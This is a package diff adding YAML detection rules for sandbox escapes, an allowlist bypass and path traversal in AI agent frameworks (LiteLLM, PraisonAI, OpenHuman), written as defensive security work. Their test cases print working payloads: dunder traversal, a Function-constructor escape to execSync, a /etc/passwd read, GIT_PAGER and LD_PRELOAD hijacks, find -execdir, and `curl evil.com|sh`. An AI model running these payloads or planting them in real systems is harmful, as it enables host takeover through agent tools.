agent-threat-rules 3.5.3 → 3.5.5

package/rules/tool-poisoning/ATR-2026-01935-litellm-custom-code-sandbox-escape-cve-2026-40217.yaml

@@ -0,0 +1,161 @@
+title: "LiteLLM Custom-Code Guardrail Sandbox Escape (CVE-2026-40217)"
+id: ATR-2026-01935
+rule_version: 1
+status: draft
+description: >
+  Detects CVE-2026-40217 (CWE-94/CWE-265): LiteLLM's custom-code guardrail
+  test/compile path /guardrails/test_custom_code evaluates caller-supplied
+  Python in an unsafe sandbox that can be escaped via bytecode rewriting and
+  dunder-attribute traversal, yielding server-side code execution as the
+  LiteLLM proxy process. Affected through 2026-04-08 builds.
+
+  Detection covers:
+  (a) a request to the /guardrails/test_custom_code endpoint carrying Python
+      code-execution primitives (import os, subprocess, exec/eval/compile);
+  (b) sandbox-escape primitives (dunder traversal __subclasses__/__globals__/
+      __builtins__, code-object/bytecode rewriting) in a guardrail code body;
+  (c) explicit CVE-2026-40217 exploitation framing.
+
+  The detection target is custom guardrail code reaching the test endpoint
+  with escape primitives — the exact sandbox-escape shape — caught before the
+  proxy compiles and runs it.
+author: "ATR Community"
+date: "2026/06/26"
+schema_version: "0.1"
+detection_tier: pattern
+maturity: test
+severity: critical
+
+references:
+  owasp_llm:
+    - "LLM05:2025 - Improper Output Handling"
+    - "LLM06:2025 - Excessive Agency"
+  owasp_agentic:
+    - "ASI05:2026 - Unexpected Code Execution"
+    - "ASI06:2026 - Tool Misuse"
+  mitre_atlas:
+    - "AML.T0049 - Exploit Public-Facing Application"
+  mitre_attack:
+    - "T1059.006 - Command and Scripting Interpreter: Python"
+  cve:
+    - "CVE-2026-40217"
+
+metadata_provenance:
+  mitre_atlas: human-reviewed
+  owasp_llm: human-reviewed
+  owasp_agentic: human-reviewed
+
+compliance:
+  eu_ai_act:
+    - article: "15"
+      context: >
+        CVE-2026-40217 lets a caller escape the LiteLLM custom-code guardrail
+        sandbox and run code as the proxy; Article 15 cybersecurity
+        requirements mandate that AI guardrail code-evaluation paths refuse
+        sandbox-escape primitives.
+      strength: primary
+    - article: "9"
+      context: "Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control that detects the code-execution technique (LiteLLM Custom-Code Guardrail Sandbox Escape (CVE-2026-40217))."
+      strength: secondary
+  nist_ai_rmf:
+    - subcategory: "MP.5.1"
+      context: >
+        Custom guardrail code carrying sandbox-escape primitives is an
+        adversarial input; MP.5.1 requires scanning /guardrails/test_custom_code
+        payloads for code-execution and dunder-traversal patterns.
+      strength: primary
+    - subcategory: "MG.3.2"
+      context: "NIST AI RMF MANAGE 3.2 is supported where this rule detects the code-execution technique (LiteLLM Custom-Code Guardrail Sandbox Escape (CVE-2026-40217))."
+      strength: secondary
+  iso_42001:
+    - clause: "8.1"
+      context: >
+        Operational controls must detect guardrail code-evaluation payloads
+        carrying sandbox-escape primitives at the LiteLLM test endpoint before
+        the proxy compiles and runs them.
+      strength: primary
+    - clause: "8.3"
+      context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) is supported by this rule, which implements runtime detection of the code-execution technique (LiteLLM Custom-Code Guardrail Sandbox Escape (CVE-2026-40217)) as a treatment control."
+      strength: secondary
+
+tags:
+  category: tool-poisoning
+  subcategory: sandbox-escape
+  scan_target: both
+  confidence: high
+  source: cve-disclosure
+  vendor_sources: litellm-cve-2026-40217
+
+agent_source:
+  type: llm_io
+  framework:
+    - litellm
+    - any
+  provider:
+    - any
+
+detection:
+  condition: any
+  false_positives:
+    - "Security advisory or PR text quoting the CVE-2026-40217 sandbox-escape payload."
+    - "A benign custom guardrail that only inspects request text and uses no os/subprocess/exec or dunder traversal."
+    - "Documentation describing the /guardrails endpoints without code-execution primitives."
+  conditions:
+    - field: content
+      operator: regex
+      value: '(?i)/guardrails/test_custom_code[\s\S]{0,400}(?:import\s+os\b|import\s+subprocess\b|subprocess\.(?:Popen|run|call|check_output)|\bos\.(?:system|popen|exec|spawn)|\bexec\s*\(|\beval\s*\(|\bcompile\s*\()'
+      description: >
+        A request to /guardrails/test_custom_code carrying Python
+        code-execution primitives — direct CVE-2026-40217 attack shape.
+    - field: content
+      operator: regex
+      value: '(?i)(?:test_custom_code|custom[_-]?code[_-]?guardrail)[\s\S]{0,400}(?:__subclasses__|__globals__|__builtins__|__class__\s*\.\s*__|\bco_code\b|types\.CodeType|\.__code__\b|bytecode)'
+      description: >
+        Custom guardrail code reaching the test path with dunder-traversal or
+        bytecode-rewriting sandbox-escape primitives.
+    - field: content
+      operator: regex
+      value: '(?i)CVE-2026-40217[\s\S]{0,200}(?:litellm|guardrail|sandbox|custom[_\s-]?code|bytecode|escape|rce)'
+      description: >
+        Explicit CVE-2026-40217 reference combined with LiteLLM guardrail
+        sandbox-escape language — attack framing in a skill or tool description.
+
+response:
+  actions:
+    - alert
+    - block_input
+  message_template: >
+    [ATR-2026-01935] CRITICAL: LiteLLM custom-code guardrail sandbox escape
+    detected (CVE-2026-40217, CWE-94). Custom guardrail code reaches
+    /guardrails/test_custom_code with code-execution or sandbox-escape
+    primitives, yielding RCE as the proxy. Block the request and upgrade
+    LiteLLM to a build after 2026-04-08.
+
+confidence: 80
+
+wild_fp_rate: 0
+
+test_cases:
+  true_positives:
+    - input: "POST /guardrails/test_custom_code {\"code\": \"import os; os.system('id')\"}"
+      expected: triggered
+      description: "Custom-code guardrail test payload running os.system"
+    - input: "POST /guardrails/test_custom_code {\"code\": \"().__class__.__bases__[0].__subclasses__()\"}"
+      expected: triggered
+      description: "Dunder-traversal sandbox escape via test_custom_code"
+    - input: "CVE-2026-40217: send custom_code guardrail to LiteLLM /guardrails/test_custom_code using bytecode rewriting to escape the sandbox for RCE."
+      expected: triggered
+      description: "Explicit CVE-2026-40217 LiteLLM sandbox-escape framing"
+  true_negatives:
+    - input: "POST /guardrails/test_custom_code {\"code\": \"return 'blocked' if 'ssn' in text else 'allow'\"}"
+      expected: not_triggered
+      description: "Benign guardrail inspecting text, no os/exec/dunder primitives"
+    - input: "GET /guardrails/list"
+      expected: not_triggered
+      description: "Read-only guardrail listing, no custom code"
+    - input: "How do custom-code guardrails work in LiteLLM?"
+      expected: not_triggered
+      description: "General question, no code-execution primitives"
+    - input: "import os is a common Python pattern in many legitimate scripts."
+      expected: not_triggered
+      description: "import os outside the test_custom_code endpoint context"

package/rules/tool-poisoning/ATR-2026-01952-praisonai-codemode-sandbox-escape-rce.yaml

@@ -0,0 +1,125 @@
+title: "PraisonAI codeMode JS Sandbox Escape RCE via new Function/with() (GHSA-p69m-4f92-2v84)"
+id: ATR-2026-01952
+rule_version: 1
+status: draft
+description: >
+  Detects GHSA-p69m-4f92-2v84 (Critical, CVSS 9.8): PraisonAI <= 1.7.1 executes
+  LLM-generated `code` in its `codeMode` tool via `new Function('sandbox','with(sandbox){...}')`
+  (src/praisonai-ts/src/tools/builtins/code-mode.ts L187-191) guarded only by a regex
+  blocklist. Attackers escape the with()-scope by recovering the real global object and
+  reaching child_process. This rule keys on the specific escape primitives chained toward
+  command execution: `Function('return this')`, `(function(){}).constructor('return process')`,
+  the `'child_' + 'process'` string-split that evades the literal blocklist, and `execSync`/`exec`
+  invoked off the recovered require/child_process handle.
+author: "ATR Community"
+date: "2026/06/29"
+schema_version: "0.1"
+detection_tier: pattern
+maturity: test
+severity: critical
+references:
+  owasp_llm:
+    - "LLM06:2025 - Excessive Agency"
+  owasp_agentic:
+    - "ASI06:2026 - Tool Misuse"
+  mitre_atlas:
+    - "AML.T0049 - Exploit Public-Facing Application"
+  mitre_attack:
+    - "T1190 - Exploit Public-Facing Application"
+  cve:
+    - "GHSA-p69m-4f92-2v84"
+metadata_provenance:
+  mitre_atlas: human-reviewed
+  owasp_llm: human-reviewed
+  owasp_agentic: human-reviewed
+compliance:
+  eu_ai_act:
+    - article: "15"
+      context: "Article 15 (accuracy, robustness, cybersecurity) — runtime detection of this technique is a cybersecurity control for high-risk AI systems. Technique: PraisonAI codeMode JS Sandbox Escape RCE via new Function/with() (GHSA-p69m-4f92-2v84)."
+      strength: primary
+    - article: "9"
+      context: "Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control. Technique: PraisonAI codeMode JS Sandbox Escape RCE via new Function/with() (GHSA-p69m-4f92-2v84)."
+      strength: secondary
+  nist_ai_rmf:
+    - subcategory: "MP.5.1"
+      context: "NIST AI RMF MAP 5.1 — likelihood and impact of the identified attack are characterised; this rule detects the adversarial input at runtime. Technique: PraisonAI codeMode JS Sandbox Escape RCE via new Function/with() (GHSA-p69m-4f92-2v84)."
+      strength: primary
+    - subcategory: "MG.3.2"
+      context: "NIST AI RMF MANAGE 3.2 — runtime monitoring/maintenance control that surfaces this attack class. Technique: PraisonAI codeMode JS Sandbox Escape RCE via new Function/with() (GHSA-p69m-4f92-2v84)."
+      strength: secondary
+  iso_42001:
+    - clause: "8.1"
+      context: "ISO/IEC 42001 Clause 8.1 (operational planning and control) — detection of this payload is an operational control. Technique: PraisonAI codeMode JS Sandbox Escape RCE via new Function/with() (GHSA-p69m-4f92-2v84)."
+      strength: primary
+    - clause: "8.3"
+      context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) — this rule implements runtime detection as a treatment control. Technique: PraisonAI codeMode JS Sandbox Escape RCE via new Function/with() (GHSA-p69m-4f92-2v84)."
+      strength: secondary
+tags:
+  category: tool-poisoning
+  subcategory: js-sandbox-escape-rce
+  scan_target: both
+  confidence: high
+  source: cve-disclosure
+  vendor_sources: praisonai-ghsa-p69m-4f92-2v84
+agent_source:
+  type: llm_io
+  framework:
+    - any
+  provider:
+    - any
+detection:
+  condition: any
+  false_positives:
+    - "Legitimate JS that calls child_process.execSync via a normal `require('child_process')` import in trusted server code, not inside a codeMode/sandbox-bypass chain."
+    - "Documentation or test fixtures discussing `new Function` or `with(){}` scoping without the global-recovery + child_process exploit chain."
+    - "Code that uses `(function(){}).constructor` only for legitimate function-type checks without invoking `'return process'`/`'return this'` or reaching child_process."
+  conditions:
+    - field: content
+      operator: regex
+      value: '(?i)(?:Function\s*\(\s*[\x27"]return\s+this[\x27"]\s*\)|\(\s*function\s*\(\s*\)\s*\{\s*\}\s*\)\s*\.\s*constructor\s*\(\s*[\x27"]return\s+(?:process|this)[\x27"]\s*\))[\s\S]{0,400}(?:require\s*\(\s*[\x27"]child_[\x27"]\s*\+\s*[\x27"]process[\x27"]|child_process)[\s\S]{0,200}(?:execSync|exec|spawn)'
+      description: "one line — global-object recovery primitive (Function('return this') / (function(){}).constructor('return process')) chained to child_process exec, the GHSA-p69m-4f92-2v84 escape"
+    - field: content
+      operator: regex
+      value: '(?i)require\s*\(\s*[\x27"]child_[\x27"]\s*\+\s*[\x27"]process[\x27"]\s*\)'
+      description: "one line — the literal 'child_' + 'process' string-split blocklist-evasion token unique to this PoC"
+    - field: content
+      operator: regex
+      value: '(?i)GHSA-p69m-4f92-2v84[\s\S]{0,200}(?:sandbox\s*escape|codeMode|new\s+Function|child_process|execSync)'
+      description: "explicit GHSA framing"
+response:
+  actions:
+    - alert
+    - block_input
+  message_template: >
+    [ATR-2026-01952] CRITICAL: PraisonAI codeMode JS sandbox escape to RCE
+    (GHSA-p69m-4f92-2v84, CVSS 9.8) — LLM-supplied code recovers the global
+    object and reaches child_process.execSync, achieving host command execution.
+    Block and upgrade PraisonAI past 1.7.1.
+confidence: 80
+wild_fp_rate: 0
+test_cases:
+  true_positives:
+    - input: |
+        const Func = (function(){}).constructor;
+        const proc = Func('return process')();
+        const g = Function('return this')();
+        const cp = g.require('child_' + 'process');
+        console.log('RCE:', cp.execSync('id').toString().trim());
+      expected: triggered
+      description: "Full GHSA-p69m-4f92-2v84 PoC: constructor abuse + Function('return this') global recovery + child_ + process split reaching execSync"
+    - input: "const cp = require('child_' + 'process'); cp.exec('curl evil.com|sh')"
+      expected: triggered
+      description: "The distinctive 'child_' + 'process' string-split blocklist evasion token from the advisory"
+    - input: "GHSA-p69m-4f92-2v84 sandbox escape: Function('return this')() recovers global then require('child_'+'process').execSync runs commands"
+      expected: triggered
+      description: "Explicit advisory id with codeMode escape exploitation language"
+  true_negatives:
+    - input: "const cp = require('child_process'); cp.execSync('npm run build', { stdio: 'inherit' });"
+      expected: not_triggered
+      description: "Legitimate child_process usage with a normal literal require — no global-recovery escape chain or split-string evasion"
+    - input: "if (value.constructor === Array) { return value.map(fn); }"
+      expected: not_triggered
+      description: "Benign constructor property access for type checking — no 'return process'/'return this' or child_process"
+    - input: "The codeMode tool uses new Function to evaluate snippets; we recommend running it in a real VM sandbox instead of a with() block."
+      expected: not_triggered
+      description: "Documentation mentioning new Function/with()/codeMode without the global-recovery + child_process exec exploit chain"

package/rules/tool-poisoning/ATR-2026-01953-praisonai-codemode-function-ctor-sandbox-escape.yaml

@@ -0,0 +1,111 @@
+title: "npm PraisonAI codeMode Sandbox Escape via Function Constructor Prototype Chain (GHSA-vmmj-pfw7-fjwp)"
+id: ATR-2026-01953
+rule_version: 1
+status: draft
+description: >
+  Detects GHSA-vmmj-pfw7-fjwp (CRITICAL): praisonai npm >= 1.4.0 <= 1.7.1 exposes a
+  `codeMode` builtin tool (src/tools/builtins/code-mode.ts) that claims sandbox:true but
+  executes the supplied `code` in the HOST V8 context via `new Function('sandbox', 'with (sandbox) { ' + code + ' }')`.
+  Setting process/require to undefined and blocklisting `require('fs')` is bypassed by
+  recovering the real Function constructor through the prototype chain. This rule keys on the
+  distinctive breakout tokens: `.constructor.constructor('return process')()` and
+  `process.mainModule.require`, which let attacker code reach fs / child_process for host RCE.
+  Fixed in 1.7.2.
+author: "ATR Community"
+date: "2026/06/29"
+schema_version: "0.1"
+detection_tier: pattern
+maturity: test
+severity: critical
+references:
+  owasp_llm: ["LLM06:2025 - Excessive Agency"]
+  owasp_agentic: ["ASI06:2026 - Tool Misuse"]
+  mitre_atlas: ["AML.T0049 - Exploit Public-Facing Application"]
+  mitre_attack: ["T1190 - Exploit Public-Facing Application"]
+  cve: ["GHSA-vmmj-pfw7-fjwp"]
+metadata_provenance: { mitre_atlas: human-reviewed, owasp_llm: human-reviewed, owasp_agentic: human-reviewed }
+compliance:
+  eu_ai_act:
+    - article: "15"
+      context: "Article 15 (accuracy, robustness, cybersecurity) — runtime detection of this technique is a cybersecurity control for high-risk AI systems. Technique: npm PraisonAI codeMode Sandbox Escape via Function Constructor Prototype Chain (GHSA-vmmj-pfw7-fjwp)."
+      strength: primary
+    - article: "9"
+      context: "Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control. Technique: npm PraisonAI codeMode Sandbox Escape via Function Constructor Prototype Chain (GHSA-vmmj-pfw7-fjwp)."
+      strength: secondary
+  nist_ai_rmf:
+    - subcategory: "MP.5.1"
+      context: "NIST AI RMF MAP 5.1 — likelihood and impact of the identified attack are characterised; this rule detects the adversarial input at runtime. Technique: npm PraisonAI codeMode Sandbox Escape via Function Constructor Prototype Chain (GHSA-vmmj-pfw7-fjwp)."
+      strength: primary
+    - subcategory: "MG.3.2"
+      context: "NIST AI RMF MANAGE 3.2 — runtime monitoring/maintenance control that surfaces this attack class. Technique: npm PraisonAI codeMode Sandbox Escape via Function Constructor Prototype Chain (GHSA-vmmj-pfw7-fjwp)."
+      strength: secondary
+  iso_42001:
+    - clause: "8.1"
+      context: "ISO/IEC 42001 Clause 8.1 (operational planning and control) — detection of this payload is an operational control. Technique: npm PraisonAI codeMode Sandbox Escape via Function Constructor Prototype Chain (GHSA-vmmj-pfw7-fjwp)."
+      strength: primary
+    - clause: "8.3"
+      context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) — this rule implements runtime detection as a treatment control. Technique: npm PraisonAI codeMode Sandbox Escape via Function Constructor Prototype Chain (GHSA-vmmj-pfw7-fjwp)."
+      strength: secondary
+tags: { category: tool-poisoning, subcategory: sandbox-escape, scan_target: both, confidence: high, source: cve-disclosure, vendor_sources: praisonai-ghsa-vmmj-pfw7-fjwp }
+agent_source: { type: llm_io, framework: [any], provider: [any] }
+detection:
+  condition: any
+  false_positives:
+    - "Security advisory or blog text quoting the GHSA-vmmj-pfw7-fjwp PoC for documentation, without it being executed as codeMode input."
+    - "Legitimate code that references `constructor` once (e.g. `obj.constructor.name`) or uses a single `new Function(...)` for templating, without the double-constructor `return process` breakout."
+    - "Node app legitimately reading `process.env` or `process.mainModule` in trusted host code that is not submitted to a sandboxed codeMode/eval tool."
+  conditions:
+    - field: content
+      operator: regex
+      value: '(?i)(?:\(\s*\{\s*\}\s*\)|[\w$\]\)]\s*|["\x27]["\x27]\s*)\.\s*constructor\s*\.\s*constructor\s*\(\s*["\x27]\s*return\s+(?:process|global|require|this)\b'
+      description: "Prototype-chain Function-constructor breakout: x.constructor.constructor('return process'/global/require) — the GHSA-vmmj-pfw7-fjwp escape primitive"
+    - field: content
+      operator: regex
+      value: '(?i)process\s*\.\s*mainModule\s*\.\s*require\s*\(\s*["\x27](?:child_process|fs|os|vm|module)["\x27]'
+      description: "Post-escape host access: process.mainModule.require('child_process'/'fs') used to reach blocked modules after sandbox bypass"
+    - field: content
+      operator: regex
+      value: '(?i)new\s+Function\s*\(\s*["\x27]sandbox["\x27]\s*,\s*[`"\x27]\s*with\s*\(\s*sandbox\s*\)'
+      description: "The vulnerable sink itself: new Function(\"sandbox\", \"with (sandbox) { ... }\") host-context eval in code-mode.ts"
+    - field: content
+      operator: regex
+      value: '(?i)GHSA-vmmj-pfw7-fjwp[\s\S]{0,200}(?:codeMode|sandbox\s*escape|Function\s*constructor|return\s+process)'
+      description: "explicit GHSA framing combined with the codeMode/Function-constructor exploit vocabulary"
+response:
+  actions: [alert, block_input]
+  message_template: >
+    [ATR-2026-01953] CRITICAL: PraisonAI codeMode sandbox escape (GHSA-vmmj-pfw7-fjwp) — prototype-chain
+    Function-constructor breakout (`.constructor.constructor('return process')()` / process.mainModule.require)
+    grants host fs + child_process RCE despite sandbox:true. Block and upgrade praisonai to >= 1.7.2.
+confidence: 85
+wild_fp_rate: 0
+test_cases:
+  true_positives:
+    - input: "({}).constructor.constructor('return process')()"
+      expected: triggered
+      description: "Exact GHSA-vmmj-pfw7-fjwp PoC: empty-object prototype walk recovers Function and returns the real process object"
+    - input: "const p = ([]).constructor.constructor(\"return process\")(); p.mainModule.require('child_process').execSync('id')"
+      expected: triggered
+      description: "Array-based breakout variant chained into mainModule.require child_process for RCE"
+    - input: "var x = ''.constructor.constructor('return global.process')(); x.mainModule.require('fs').readFileSync('/etc/passwd')"
+      expected: triggered
+      description: "String-prototype breakout returning global.process then reading fs via mainModule.require"
+    - input: "const fn = new Function('sandbox', `with (sandbox) { ${code} }`); fn(sandbox);"
+      expected: triggered
+      description: "The vulnerable code-mode.ts sink with (sandbox) host-context Function eval"
+    - input: "PoC for GHSA-vmmj-pfw7-fjwp: codeMode runs ({}).constructor.constructor('return process')() to escape the fake sandbox"
+      expected: triggered
+      description: "Advisory-style attack framing referencing the GHSA id plus the Function constructor breakout"
+  true_negatives:
+    - input: "console.log(obj.constructor.name); // log the class name of obj"
+      expected: not_triggered
+      description: "Single benign constructor reflection to read a class name — no double-constructor return-process breakout"
+    - input: "const tmpl = new Function('data', 'return `Hello ${data.name}`'); tmpl({name: 'World'});"
+      expected: not_triggered
+      description: "Legitimate single new Function template compile — not the with(sandbox) host sink nor a prototype-chain escape"
+    - input: "if (process.env.NODE_ENV === 'production') { app.enableCache(); }"
+      expected: not_triggered
+      description: "Ordinary host-side process.env read in trusted code — no mainModule.require of child_process/fs and no escape primitive"
+    - input: "Upgrade praisonai to 1.7.2 to remediate the codeMode sandbox escape GHSA-vmmj-pfw7-fjwp."
+      expected: not_triggered
+      description: "Plain mitigation/advisory sentence mentioning the GHSA id but containing no exploit tokens or codeMode/Function-constructor vocabulary"

package/rules/tool-poisoning/ATR-2026-01959-openhuman-shell-allowlist-env-prefix-bypass.yaml

@@ -0,0 +1,136 @@
+title: "OpenHuman Shell Tool Allowlist Bypass via Env-Prefix / find -execdir (CVE-2026-55743)"
+id: ATR-2026-01959
+rule_version: 1
+status: draft
+description: >
+  Detects CVE-2026-55743 (CRITICAL): the shell tool command allowlist in
+  OpenHuman desktop agent <= 0.54.0 (default Supervised SecurityPolicy) is
+  bypassed because is_command_allowed() strips leading inline KEY=value
+  environment-variable assignments (skip_env_assignments) before validation,
+  and is_args_safe() blocks find -exec/-ok but not the functionally identical
+  -execdir/-okdir. An attacker prefixes an allowlisted command with a dangerous
+  env var (GIT_EXTERNAL_DIFF, GIT_SSH_COMMAND, GIT_PAGER, LD_PRELOAD, BASH_ENV,
+  PYTHONSTARTUP) pointing at a payload, e.g. "GIT_PAGER=/tmp/payload.sh git log",
+  so the allowlisted git binary executes the attacker-controlled subprocess. This
+  rule keys on a dangerous env-var assignment (= path/command) immediately
+  preceding an allowlisted binary, and on find with -execdir/-okdir.
+author: "ATR Community"
+date: "2026/06/29"
+schema_version: "0.1"
+detection_tier: pattern
+maturity: test
+severity: critical
+references:
+  owasp_llm:
+    - "LLM06:2025 - Excessive Agency"
+  owasp_agentic:
+    - "ASI06:2026 - Tool Misuse"
+  mitre_atlas:
+    - "AML.T0049 - Exploit Public-Facing Application"
+  mitre_attack:
+    - "T1190 - Exploit Public-Facing Application"
+  cve:
+    - "CVE-2026-55743"
+metadata_provenance:
+  mitre_atlas: human-reviewed
+  owasp_llm: human-reviewed
+  owasp_agentic: human-reviewed
+compliance:
+  eu_ai_act:
+    - article: "15"
+      context: "Article 15 (accuracy, robustness, cybersecurity) — runtime detection of this technique is a cybersecurity control for high-risk AI systems. Technique: OpenHuman Shell Tool Allowlist Bypass via Env-Prefix / find -execdir (CVE-2026-55743)."
+      strength: primary
+    - article: "9"
+      context: "Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control. Technique: OpenHuman Shell Tool Allowlist Bypass via Env-Prefix / find -execdir (CVE-2026-55743)."
+      strength: secondary
+  nist_ai_rmf:
+    - subcategory: "MP.5.1"
+      context: "NIST AI RMF MAP 5.1 — likelihood and impact of the identified attack are characterised; this rule detects the adversarial input at runtime. Technique: OpenHuman Shell Tool Allowlist Bypass via Env-Prefix / find -execdir (CVE-2026-55743)."
+      strength: primary
+    - subcategory: "MG.3.2"
+      context: "NIST AI RMF MANAGE 3.2 — runtime monitoring/maintenance control that surfaces this attack class. Technique: OpenHuman Shell Tool Allowlist Bypass via Env-Prefix / find -execdir (CVE-2026-55743)."
+      strength: secondary
+  iso_42001:
+    - clause: "8.1"
+      context: "ISO/IEC 42001 Clause 8.1 (operational planning and control) — detection of this payload is an operational control. Technique: OpenHuman Shell Tool Allowlist Bypass via Env-Prefix / find -execdir (CVE-2026-55743)."
+      strength: primary
+    - clause: "8.3"
+      context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) — this rule implements runtime detection as a treatment control. Technique: OpenHuman Shell Tool Allowlist Bypass via Env-Prefix / find -execdir (CVE-2026-55743)."
+      strength: secondary
+tags:
+  category: tool-poisoning
+  subcategory: shell-allowlist-env-prefix-bypass
+  scan_target: both
+  confidence: high
+  source: cve-disclosure
+  vendor_sources: openhuman-cve-2026-55743
+agent_source:
+  type: llm_io
+  framework:
+    - any
+  provider:
+    - any
+detection:
+  condition: any
+  false_positives:
+    - "Benign inline env vars that do not spawn subprocesses (e.g. TZ=UTC git log, LANG=C ls, NODE_ENV=production npm test)."
+    - "Legitimate use of find with -exec/-ok flags that are already covered by the allowlist, without -execdir/-okdir."
+    - "Documentation or advisory text that mentions GIT_PAGER or LD_PRELOAD without an assignment to an executable path preceding an allowlisted command."
+  conditions:
+    - field: content
+      operator: regex
+      value: '(?i)\b(?:GIT_EXTERNAL_DIFF|GIT_SSH_COMMAND|GIT_PAGER|GIT_EDITOR|LD_PRELOAD|LD_AUDIT|LD_LIBRARY_PATH|BASH_ENV|ENV|PYTHONSTARTUP|PERL5OPT|PROMPT_COMMAND)=\S*\s*(?:/|\.{1,2}/|~/|\$\{?\w|[\w./-]+\.(?:sh|so|py|pl|bat))[^\n]{0,80}?\b(?:git|ls|cat|grep|find|python3?|node|npm|cp|mv|c,head|tail)\b'
+      description: >
+        Dangerous environment-variable assignment to a path/command immediately
+        preceding an allowlisted binary - the CVE-2026-55743 env-prefix allowlist
+        bypass (e.g. GIT_PAGER=/tmp/payload.sh git log, LD_PRELOAD=/tmp/x.so git status)
+    - field: content
+      operator: regex
+      value: '(?i)\bfind\b[^\n]{0,200}?-(?:execdir|okdir)\b\s+\S'
+      description: >
+        find invoked with -execdir/-okdir - the flags is_args_safe() failed to
+        block, executing an arbitrary command per matched file
+    - field: content
+      operator: regex
+      value: '(?i)CVE-2026-55743[\s\S]{0,200}(?:allowlist|env(?:ironment)?[\s-]?(?:var|prefix)|execdir|skip_env|GIT_PAGER|LD_PRELOAD)'
+      description: "explicit CVE framing combined with the bypass mechanism keywords"
+response:
+  actions:
+    - alert
+    - block_input
+  message_template: >
+    [ATR-2026-01959] CRITICAL: OpenHuman shell allowlist bypass (CVE-2026-55743) -
+    an inline dangerous env-var prefix or find -execdir/-okdir turns an allowlisted
+    command into arbitrary OS command execution. Block and patch to > 0.54.0.
+confidence: 85
+wild_fp_rate: 0
+test_cases:
+  true_positives:
+    - input: "GIT_PAGER=/tmp/payload.sh git log"
+      expected: triggered
+      description: "Exact CVE PoC: GIT_PAGER prefix points git's pager at attacker payload, git log is allowlisted"
+    - input: "LD_PRELOAD=/tmp/x.so git status"
+      expected: triggered
+      description: "LD_PRELOAD injects a shared object into the allowlisted git process"
+    - input: "PYTHONSTARTUP=/tmp/x.py python3 -V"
+      expected: triggered
+      description: "PYTHONSTARTUP runs attacker code before the allowlisted python3 -V"
+    - input: "GIT_EXTERNAL_DIFF=/tmp/evil.sh git diff HEAD~1"
+      expected: triggered
+      description: "GIT_EXTERNAL_DIFF hook executes the payload during an allowlisted git diff"
+    - input: "find . -name '*.txt' -execdir /tmp/run.sh {} ;"
+      expected: triggered
+      description: "find -execdir bypasses the -exec/-ok allowlist check, running an arbitrary command per file"
+  true_negatives:
+    - input: "TZ=UTC git log"
+      expected: not_triggered
+      description: "Benign env var TZ does not spawn a subprocess - explicitly accepted by the patch"
+    - input: "NODE_ENV=production npm test"
+      expected: not_triggered
+      description: "Common benign inline env var assignment with no executable-path payload"
+    - input: "find . -name '*.log' -exec rm {} ;"
+      expected: not_triggered
+      description: "Standard find -exec usage (already covered by allowlist), no -execdir/-okdir"
+    - input: "Upgrade OpenHuman past 0.54.0 to fix the GIT_PAGER allowlist issue described in CVE-2026-55743."
+      expected: not_triggered
+      description: "Mitigation advisory text - no env assignment to an executable path preceding an allowlisted command"

package/rules/tool-poisoning/ATR-2026-01963-praisonai-action-orchestrator-step-target-path-traversal-rce.yaml

@@ -0,0 +1,99 @@
+title: "PraisonAI Action Orchestrator step.target Path Traversal Arbitrary File Write RCE (CVE-2026-39305 / GHSA-jfxc-v5g9-38xr)"
+id: ATR-2026-01963
+rule_version: 1
+status: draft
+description: >
+  Detects CVE-2026-39305 (GHSA-jfxc-v5g9-38xr, CWE-22, CRITICAL): PraisonAI
+  (< 4.5.113) Action Orchestrator builds a write path as `workspace / step.target`
+  without resolving or boundary-checking it. An ActionStep of type FILE_CREATE /
+  FILE_EDIT whose `target` contains `../` traversal escapes the workspace and writes
+  arbitrary files (e.g. ~/.ssh/authorized_keys, ~/.bashrc), yielding RCE. This rule
+  keys on the Action Orchestrator sink tokens (ActionStep / step.target / FILE_CREATE /
+  FILE_EDIT) co-occurring with relative traversal sequences and sensitive write targets.
+author: "ATR Community"
+date: "2026/06/29"
+schema_version: "0.1"
+detection_tier: pattern
+maturity: test
+severity: critical
+references:
+  owasp_llm: ["LLM06:2025 - Excessive Agency"]
+  owasp_agentic: ["ASI06:2026 - Tool Misuse"]
+  mitre_atlas: ["AML.T0049 - Exploit Public-Facing Application"]
+  mitre_attack: ["T1190 - Exploit Public-Facing Application"]
+  cve: ["CVE-2026-39305"]
+metadata_provenance: { mitre_atlas: human-reviewed, owasp_llm: human-reviewed, owasp_agentic: human-reviewed }
+compliance:
+  eu_ai_act:
+    - article: "15"
+      context: "Article 15 (accuracy, robustness, cybersecurity) — runtime detection of this technique is a cybersecurity control for high-risk AI systems. Technique: PraisonAI Action Orchestrator step.target Path Traversal Arbitrary File Write RCE (CVE-2026-39305 / GHSA-jfxc-v5g9-38xr)."
+      strength: primary
+    - article: "9"
+      context: "Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control. Technique: PraisonAI Action Orchestrator step.target Path Traversal Arbitrary File Write RCE (CVE-2026-39305 / GHSA-jfxc-v5g9-38xr)."
+      strength: secondary
+  nist_ai_rmf:
+    - subcategory: "MP.5.1"
+      context: "NIST AI RMF MAP 5.1 — likelihood and impact of the identified attack are characterised; this rule detects the adversarial input at runtime. Technique: PraisonAI Action Orchestrator step.target Path Traversal Arbitrary File Write RCE (CVE-2026-39305 / GHSA-jfxc-v5g9-38xr)."
+      strength: primary
+    - subcategory: "MG.3.2"
+      context: "NIST AI RMF MANAGE 3.2 — runtime monitoring/maintenance control that surfaces this attack class. Technique: PraisonAI Action Orchestrator step.target Path Traversal Arbitrary File Write RCE (CVE-2026-39305 / GHSA-jfxc-v5g9-38xr)."
+      strength: secondary
+  iso_42001:
+    - clause: "8.1"
+      context: "ISO/IEC 42001 Clause 8.1 (operational planning and control) — detection of this payload is an operational control. Technique: PraisonAI Action Orchestrator step.target Path Traversal Arbitrary File Write RCE (CVE-2026-39305 / GHSA-jfxc-v5g9-38xr)."
+      strength: primary
+    - clause: "8.3"
